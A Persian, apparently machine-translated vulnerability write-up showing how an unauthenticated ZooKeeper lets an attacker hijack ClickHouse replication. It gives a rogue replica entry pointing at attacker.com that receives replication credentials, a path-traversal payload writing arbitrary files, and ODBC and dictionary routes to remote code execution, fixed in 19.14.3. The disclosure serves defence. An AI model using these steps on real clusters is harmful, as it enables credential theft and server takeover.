چرا باید قفس های باغ وحش را بسته نگه دارید؟

چرا باید قفس های باغ وحش را بسته نگه دارید؟

این مقاله داستان یک آسیب پذیری بسیار خاص در پروتکل تکرار ClickHouse را بیان می کند و همچنین نشان می دهد که چگونه می توان سطح حمله را گسترش داد.

ClickHouse یک پایگاه داده برای ذخیره حجم زیاد داده است که اغلب از بیش از یک نسخه استفاده می کند. خوشه بندی و تکرار در ClickHouse در بالا ساخته شده است Apache ZooKeeper (ZK) و به حقوق نوشتن نیاز دارند.

نصب پیش‌فرض ZK نیازی به احراز هویت ندارد، بنابراین هزاران سرور ZK که برای پیکربندی Kafka، Hadoop، ClickHouse استفاده می‌شوند، در دسترس عموم هستند.

برای کاهش سطح حمله خود، همیشه باید هنگام نصب ZooKeeper احراز هویت و مجوز را پیکربندی کنید.

البته برخی از 0day deserialization های جاوا وجود دارد، اما تصور کنید که یک مهاجم بتواند برای ZooKeeper بخواند و بنویسد، که برای تکرار ClickHouse استفاده می شود.

هنگامی که در حالت خوشه پیکربندی می شود، ClickHouse از پرس و جوهای توزیع شده پشتیبانی می کند DDL، از ZK عبور می کند - برای آنها گره ها در ورق ایجاد می شوند /clickhouse/task_queue/ddl.

به عنوان مثال، شما یک گره ایجاد می کنید /clickhouse/task_queue/ddl/query-0001 با مطالب:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

و پس از آن جدول تست در سرورهای خوشه ای host1 و host2 حذف می شود. DDL همچنین از اجرای پرس و جوهای CREATE/ALTER/DROP پشتیبانی می کند.

ترسناک به نظر می رسد؟ اما یک مهاجم از کجا می تواند آدرس سرور را دریافت کند؟

تکرار کلیک هاوس در سطح جداول جداگانه کار می کند، به طوری که وقتی جدولی در ZK ایجاد می شود، سروری مشخص می شود که وظیفه تبادل ابرداده با replica ها را بر عهده خواهد داشت. به عنوان مثال، هنگام اجرای یک درخواست (ZK باید پیکربندی شود، chXX - نام ماکت، فوبار - نام جدول):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

گره ها ایجاد خواهند شد ستون ها и فراداده.

محتوا /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

آیا امکان ادغام داده ها از این خوشه وجود دارد؟ بله، اگر پورت تکرار (TCP/9009) روی سرور chXX-address فایروال بسته نمی شود و احراز هویت برای تکرار پیکربندی نمی شود. چگونه از احراز هویت عبور کنیم؟

یک مهاجم می تواند یک ماکت جدید در ZK به سادگی با کپی کردن محتویات از آن ایجاد کند /clickhouse/tables/01-01/foobar/replicas/chXX و تغییر معنی host.

محتوا /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

سپس باید به دیگر ماکت‌ها بگویید که یک بلوک جدید از داده‌ها در سرور مهاجم وجود دارد که باید آن را بگیرند - یک گره در ZK ایجاد می‌شود. /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX شمارنده یکنواخت در حال رشد، که باید از آخرین عدد در گزارش رویداد بزرگتر باشد):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

جایی که منبع_مثل - نام ماکت مهاجم ایجاد شده در مرحله قبل، block_id - شناسه بلوک داده، دریافت کنید - دستور "get block" (و در اینجا دستوراتی برای سایر عملیات وجود دارد).

در مرحله بعد، هر ماکت یک رویداد جدید را در گزارش می خواند و به سروری می رود که توسط مهاجم کنترل می شود تا بلوکی از داده ها را دریافت کند (پروتکل تکرار باینری است و در بالای HTTP اجرا می شود). سرور attacker.com درخواست ها را دریافت خواهد کرد:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

که در آن XXX داده های احراز هویت برای تکرار است. در برخی موارد، این ممکن است یک حساب کاربری با دسترسی به پایگاه داده از طریق پروتکل اصلی ClickHouse و پروتکل HTTP باشد. همانطور که مشاهده کردید، سطح حمله بسیار بزرگ می شود زیرا ZooKeeper، که برای تکرار استفاده می شود، بدون احراز هویت پیکربندی شده است.

بیایید به عملکرد گرفتن یک بلوک داده از یک ماکت نگاه کنیم، با اطمینان کامل نوشته شده است که همه ماکت ها تحت کنترل مناسب هستند و بین آنها اعتماد وجود دارد.

چرا باید قفس های باغ وحش را بسته نگه دارید؟
کد پردازش تکرار

این تابع لیستی از فایل ها، سپس نام، اندازه، محتویات آنها را می خواند و سپس آنها را در سیستم فایل می نویسد. ارزش دارد که به طور جداگانه نحوه ذخیره داده ها در سیستم فایل را توضیح دهیم.

چندین زیر شاخه در آن وجود دارد /var/lib/clickhouse (دایرکتوری ذخیره سازی پیش فرض از فایل پیکربندی):

پرچم ها - دایرکتوری برای ضبط پرچم ها، در بازیابی پس از از دست دادن اطلاعات استفاده می شود.
TMP - دایرکتوری برای ذخیره فایل های موقت؛
user_files - عملیات با فایل های موجود در درخواست ها به این دایرکتوری محدود می شود (INTO OUTFILE و دیگران).
فراداده - فایل های sql با توضیحات جدول.
preprocessed_configs - فایل های پیکربندی مشتق پردازش شده از /etc/clickhouse-server;
داده ها - دایرکتوری واقعی با خود داده، در این مورد برای هر پایگاه داده یک زیر شاخه جداگانه به سادگی در اینجا ایجاد می شود (به عنوان مثال /var/lib/clickhouse/data/default).

برای هر جدول، یک زیر شاخه در فهرست پایگاه داده ایجاد می شود. هر ستون بسته به یک فایل جداگانه است فرمت موتور. مثلا برای یک میز فوبارایجاد شده توسط یک مهاجم، فایل های زیر ایجاد خواهند شد:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Replica انتظار دارد هنگام پردازش یک بلوک از داده ها، فایل هایی با نام های مشابه دریافت کند و به هیچ وجه آنها را تأیید نمی کند.

خواننده توجه احتمالا قبلاً در مورد الحاق ناامن file_name در یک تابع شنیده است WriteBufferFromFile. بله، این به مهاجم اجازه می‌دهد تا محتوای دلخواه را در هر فایلی در FS با حقوق کاربر بنویسد clickhouse. برای انجام این کار، نسخه‌ای که توسط مهاجم کنترل می‌شود باید پاسخ زیر را به درخواست بازگرداند (برگ‌های خط برای سهولت درک اضافه شده است):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

و بعد از الحاق ../../../../../../../../../tmp/pwned فایل نوشته خواهد شد /tmp/pwned با محتوا hellofromzookeeper.

چندین گزینه برای تبدیل قابلیت نوشتن فایل به اجرای کد از راه دور (RCE) وجود دارد.

لغت نامه های خارجی در RCE

در نسخه های قدیمی تر، دایرکتوری با تنظیمات ClickHouse با حقوق کاربر ذخیره می شد خانه کلیک پیش فرض فایل‌های تنظیمات فایل‌های XML هستند که سرویس هنگام راه‌اندازی می‌خواند و سپس در حافظه پنهان ذخیره می‌کند /var/lib/clickhouse/preprocessed_configs. هنگامی که تغییرات رخ می دهد، آنها دوباره خوانده می شوند. اگر دسترسی دارید /etc/clickhouse-server یک مهاجم می تواند خود را ایجاد کند فرهنگ لغت خارجی اجرایی را تایپ کنید و سپس کد دلخواه را اجرا کنید. نسخه‌های فعلی ClickHouse به‌طور پیش‌فرض حقوقی را ارائه نمی‌کنند، اما اگر سرور به تدریج به‌روزرسانی شود، چنین حقوقی می‌تواند باقی بماند. اگر از یک خوشه ClickHouse پشتیبانی می کنید، حقوق دایرکتوری تنظیمات را بررسی کنید، باید به کاربر تعلق داشته باشد. root.

ODBC به RCE

هنگام نصب یک بسته، یک کاربر ایجاد می شود clickhouse، اما فهرست اصلی آن ایجاد نشده است /nonexistent. با این حال، هنگام استفاده از دیکشنری های خارجی، یا به دلایل دیگر، مدیران یک دایرکتوری ایجاد می کنند /nonexistent و به کاربر بدهید clickhouse دسترسی به نوشتن به آن (SSZB! تقریبا مترجم).

ClickHouse پشتیبانی می کند ODBC و می تواند به سایر پایگاه های داده متصل شود. در ODBC می توانید مسیر کتابخانه درایور پایگاه داده (.so) را مشخص کنید. نسخه‌های قدیمی‌تر ClickHouse به شما اجازه می‌داد این کار را مستقیماً در کنترل‌کننده درخواست انجام دهید، اما اکنون بررسی دقیق‌تری از رشته اتصال به آن اضافه شده است. odbc-bridge، بنابراین دیگر نمی توان مسیر درایور را از درخواست مشخص کرد. اما آیا مهاجم می تواند با استفاده از آسیب پذیری که در بالا توضیح داده شد، در فهرست اصلی بنویسد؟

بیایید یک فایل ایجاد کنیم ~/.odbc.ini با مطالبی مانند این:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

سپس در راه اندازی SELECT * FROM odbc('DSN=lalala', 'test', 'test'); کتابخانه بارگذاری خواهد شد test.so و RCE دریافت کرد (با تشکر بوگلوک برای نکته).

این آسیب‌پذیری‌ها و سایر آسیب‌پذیری‌ها در ClickHouse نسخه 19.14.3 برطرف شده‌اند. مراقب ClickHouse و ZooKeepers خود باشید!

منبع: www.habr.com

اضافه کردن نظر